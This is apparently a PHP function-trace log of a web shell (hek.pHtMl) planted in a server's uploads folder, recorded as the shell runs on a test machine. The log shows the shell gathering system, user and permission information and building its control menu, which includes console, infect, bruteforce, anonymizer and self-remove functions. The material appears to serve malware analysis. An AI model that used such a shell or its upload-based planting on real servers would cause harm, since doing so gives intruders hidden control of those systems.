6	60	0	0.011018	1309712	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	216	1	33
6	60	1	0.011065	1310544
6	60	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	216	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6	61	0	0.011110	1310512	posix_getegid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	217	0
6	61	1	0.011125	1310512
6	61	R			33
6	62	0	0.011137	1310512	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	217	1	33
6	62	1	0.011188	1311176
6	62	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	217	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	218	$user = 'www-data'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	219	$uid = 33
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	220	$group = 'www-data'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	221	$gid = 33
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	223	$cwd_links = ''
6	63	0	0.011287	1309792	explode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	224	2	'/'	'/var/www/html/uploads/'
6	63	1	0.011305	1310400
6	63	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	224	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	225	$n = 6
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	227	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= '/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	230	$cwd_links .= '")\'>/</a>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	227	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= '/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	230	$cwd_links .= '")\'>var/</a>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	227	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= '/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	230	$cwd_links .= '")\'>www/</a>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	227	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= '/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	230	$cwd_links .= '")\'>html/</a>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	227	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j = 0
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= '/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'var/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'www/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'html/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	229	$cwd_links .= 'uploads/'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	228	$j++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	230	$cwd_links .= '")\'>uploads/</a>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	226	$i++
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	232	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	233	$opt_charsets = ''
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	235	$opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	235	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	235	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	235	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	235	$opt_charsets .= '<option value="cp866" >cp866</option>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	236	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Anonymizer' => 'Anonymizer', 'Network' => 'Network']
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	239	$m['Self remove'] = 'SelfRemove'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	240	$menu = ''
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Sec. Info'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Files'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Console'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Infect'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Infect</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Sql'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Php'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Php</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Safe mode'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Safe mode</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'String tools'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">String tools</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Bruteforce'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Bruteforce</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Anonymizer'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Anonymizer\',null,\'\',\'\',\'\')">Anonymizer</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Network'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	241	$k = 'Self remove'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	242	$menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
5		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	243	$drives = ''
6	64	0	0.012420	1312816	php_uname	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	0
6	64	1	0.012436	1312928
6	64	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	65	0	0.012455	1312928	substr	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
6	65	1	0.012474	1313024
6	65	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	66	0	0.012493	1312944	php_uname	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	0
6	66	1	0.012507	1313056
6	66	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	67	0	0.012525	1313056	urlencode	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6	67	1	0.012543	1313216
6	67	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
6	68	0	0.012563	1313264	phpversion	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	0
6	68	1	0.012577	1313328
6	68	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
6	69	0	0.012593	1313520	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	1	'Y-m-d H:i:s'
6	69	1	0.012659	1315872
6	69	R			'2023-02-12 16:27:27'
6	70	0	0.012678	1315584	viewSize	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	1	232015802368
7	71	0	0.012695	1315584	sprintf	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	311	2	'%1.2f'	216.08155441284
7	71	1	0.012712	1315968
7	71	R			'216.08'
6	70	1	0.012726	1315624
6	70	R			'216.08 GB'
6	72	0	0.012740	1315584	viewSize	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	1	209137418240
7	73	0	0.012755	1315584	sprintf	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	311	2	'%1.2f'	194.77439880371
7	73	1	0.012770	1315968
7	73	R			'194.77'
6	72	1	0.012784	1315624
6	72	R			'194.77 GB'
6	74	0	0.012798	1315584	round	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	2	90.13929917941	2
6	74	1	0.012813	1315656
6	74	R			90.14
6	75	0	0.012829	1315968	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	251	1	'/var/www/html/uploads/'
7	76	0	0.012848	1315968	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/'
7	76	1	0.012871	1316008
7	76	R			TRUE
7	77	0	0.012884	1315968	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/'
7	77	1	0.012901	1316008
7	77	R			TRUE
7	78	0	0.012915	1315968	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	'/var/www/html/uploads/'
7	78	1	0.012932	1316032
7	78	R			16895
7	79	0	0.012945	1315992	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	16895
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	324	$i = 'd'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= 'x'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= 'w'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= 'x'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= 'w'
7		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= 'x'
7	79	1	0.013077	1316032
7	79	R			'drwxrwxrwx'
6	75	1	0.013091	1316072
6	75	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
6	80	0	0.013109	1316504	gethostbyname	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	252	1	'localhost'
6	80	1	0.013149	1316584
6	80	R			'127.0.0.1'
5	35	1	0.013167	1311592
5	81	0	0.013176	1311592	hardScandir	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	911	1	'/var/www/html/uploads/'
6	82	0	0.013192	1311592	function_exists	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	348	1	'scandir'
6	82	1	0.013207	1311632
6	82	R			TRUE
6	83	0	0.013220	1311592	scandir	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	349	1	'/var/www/html/uploads/'
6	83	1	0.013255	1312216
6	83	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.pHtMl', 5 => 'prepend.php']
5	81	1	0.013277	1312184
5	81	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.pHtMl', 5 => 'prepend.php']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	911	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.pHtMl', 5 => 'prepend.php']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	914	$sort = [0 => 'name', 1 => 1]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	928	$files = []
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	928	$dirs = []
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	929	$n = 6
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i = 0
5	84	0	0.013380	1312208	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'.'
5	84	1	0.013396	1312232
5	84	R			0
5	85	0	0.013409	1312192	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	0
5	85	1	0.013434	1312992
5	85	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	86	0	0.013476	1312960	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'.'
5	86	1	0.013491	1313000
5	86	R			0
5	87	0	0.013503	1312960	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	0
5	87	1	0.013526	1313616
5	87	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	88	0	0.013564	1314056	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/.'
5	88	1	0.013581	1314112
5	88	R			1676237247
5	89	0	0.013594	1314024	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	89	1	0.013627	1314352
5	89	R			'2023-02-12 16:27:27'
5	90	0	0.013643	1314328	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/.'
6	91	0	0.013658	1314328	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/.'
6	91	1	0.013675	1314368
6	91	R			TRUE
6	92	0	0.013688	1314328	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/.'
6	92	1	0.013705	1314368
6	92	R			TRUE
6	93	0	0.013718	1314328	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	'/var/www/html/uploads/.'
6	93	1	0.013732	1314368
6	93	R			16895
6	94	0	0.013750	1314328	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	16895
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	324	$i = 'd'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	335	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	336	$i .= 'x'
6	94	1	0.013876	1314368
6	94	R			'drwxrwxrwx'
5	90	1	0.013890	1314408
5	90	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
5	95	0	0.013907	1314408	filesize	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	937	1	'/var/www/html/uploads/.'
5	95	1	0.013923	1314448
5	95	R			4096
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	939	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:27:27', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	96	0	0.013960	1314408	is_file	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	941	1	'/var/www/html/uploads/.'
5	96	1	0.013976	1314448
5	96	R			FALSE
5	97	0	0.013989	1314408	is_link	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	943	1	'/var/www/html/uploads/.'
5	97	1	0.014006	1314472
5	97	R			FALSE
5	98	0	0.014019	1314432	is_dir	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	945	1	'/var/www/html/uploads/.'
5	98	1	0.014034	1314472
5	98	R			TRUE
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	930	$i++
5	99	0	0.014059	1314384	fileowner	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	'..'
5	99	1	0.014074	1314408
5	99	R			0
5	100	0	0.014087	1314368	posix_getpwuid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	1	0
5	100	1	0.014111	1315168
5	100	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	931	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	101	0	0.014154	1314400	filegroup	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	'..'
5	101	1	0.014168	1314440
5	101	R			0
5	102	0	0.014181	1314400	posix_getgrgid	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	1	0
5	102	1	0.014204	1315056
5	102	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	932	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
5	103	0	0.014241	1314920	filemtime	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	1	'/var/www/html/uploads/..'
5	103	1	0.014258	1314984
5	103	R			1676237247
5	104	0	0.014271	1314888	date	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	935	2	'Y-m-d H:i:s'	1676237247
5	104	1	0.014303	1315216
5	104	R			'2023-02-12 16:27:27'
5	105	0	0.014318	1315200	viewPermsColor	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	936	1	'/var/www/html/uploads/..'
6	106	0	0.014333	1315200	is_readable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	340	1	'/var/www/html/uploads/..'
6	106	1	0.014350	1315240
6	106	R			TRUE
6	107	0	0.014367	1315200	is_writable	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	342	1	'/var/www/html/uploads/..'
6	107	1	0.014384	1315240
6	107	R			TRUE
6	108	0	0.014408	1315200	fileperms	0		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	'/var/www/html/uploads/..'
6	108	1	0.014423	1315240
6	108	R			16895
6	109	0	0.014436	1315200	perms	1		/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	345	1	16895
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	324	$i = 'd'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	328	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	329	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	330	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	331	$i .= 'r'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	332	$i .= 'w'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	333	$i .= 'x'
6		A						/var/www/html/uploads/hek.pHtMl(1) : runtime-created function(1) : eval()'d code	334	$i .= 'r'
